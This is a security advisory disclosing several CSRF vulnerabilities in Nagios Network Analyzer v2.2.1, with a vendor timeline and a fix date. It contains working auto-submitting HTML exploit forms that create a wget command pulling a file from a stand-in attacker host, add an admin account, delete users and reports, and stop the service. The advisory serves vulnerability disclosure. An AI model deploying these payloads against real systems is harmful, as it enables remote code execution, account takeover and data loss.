[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Nagios Network Analyzer v2.2.1 Multiple CSRF



[+] Credits: John Page -hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/NAGIOS-NA-v2.2.1-MULTIPLE-CSRF.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.nagios.com



Product:
==============================
Nagios Network Analyzer v2.2.1

Netflow Analysis, Monitoring, and Bandwidth Utilization Software

Network Analyzer provides an in-depth look at all network traffic sources and potential security threats allowing system
admins to quickly gather high-level information regarding the health of the network as well as highly granular data for
complete and thorough network analysis.



Vulnerability Type:
=================================
Cross Site Request Forgery (CSRF)




CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Nagios NA has multiple CSRF vectors, allowing unauthorized commands to be transmitted from a user that the website trusts if that user is
authenticated and visits a malicious webpage or clicks a attacker supplied link. The Nagios system can be compromised as remote attackers
can create arbitrary commands e.g. using "wget" to download RCE files onto the system, create arbitrary Admins, delete users, and conduct
DOS attacks.



Exploit code(s):
================

1) Create arbitrary commands 

<form action="http://victim-server/nagiosna/index.php/api/system/create_command"; method="post">
<input type="hidden" name="name" value="pwn">
<input type="hidden" name="location" value="%2Fusr%2Fbin%2Fwget">
<input type="hidden" name="script" value="wget">
<input type="hidden" name="args" value="http%3A%2F%2Fattacker-server%2FRCE.php">
<script>document.forms[0].submit()</script>
</form>	  
	

2) Add Admin 


<form action="http://victim-server/nagiosna/index.php/admin/users/create"; method="post" accept-charset="utf-8">               
<input type="text" name="first_name" value="CSRF"> 
<input type="text" name="last_name" value="ME">
<input type="text" name="company" value="PWN">
<input type="text" name="email" value="evil@xxxxxxxxx"> 
<input type="text" name="phone" value="">
<input type="text" name="username" value="HYP3RLINX">
<input type="password" name="password" value="abc123">
<input type="password" name="password2" value="abc123"> 
<input type="hidden" name="language" value="default" >
<input type="hidden" name="account_type" id="account_type" value="local">
<input type="hidden" name="ldap_server" id="ldap_server">
<input type="hidden" name="ad_server" id="ad_server" value="1">                                        
<input type="text" name="ad_username" id="ad_username">
<input type="text" name="dn"  placeholder="cn=John Smith,dn=nagios,dc=com">
<input type="radio" name="group" value="1" checked="true" > 
<input type="radio" name="apiaccess" value="1" >                        
<input type="radio" name="apiaccess" value="0" checked>                      
<script>document.forms[0].submit()</script>
</form> 


3) Delete reports (report ID must be known or guessed)

<form action="http://victim-server/nagiosna/index.php/api/reports/delete"; method="post">
<input type="hidden" name="q[rid]" value="9">
<script>document.forms[0].submit()</script>
</form>	

	  
4) DOS

<form action="http://victim-server/nagiosna/index.php/api/system/stop"; method="post">
<input type="hidden" name="sid" value="1">
<script>//document.forms[0].submit()</script>
</form>	



		  
5) Delete users (user ID must be known or guessed)

<form action="http://victim-server/nagiosna/index.php/admin/users/delete"; method="post">
<input type="hidden" name="id" value="10">
<script>document.forms[0].submit()</script>
</form>	  
		  
		 


Disclosure Timeline:
======================================
Vendor Notification:  July 20, 2016
Vendor Acknowledgement: July 21, 2016
Vendor Fix / Release: August 1, 2016
August 8, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
===============
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX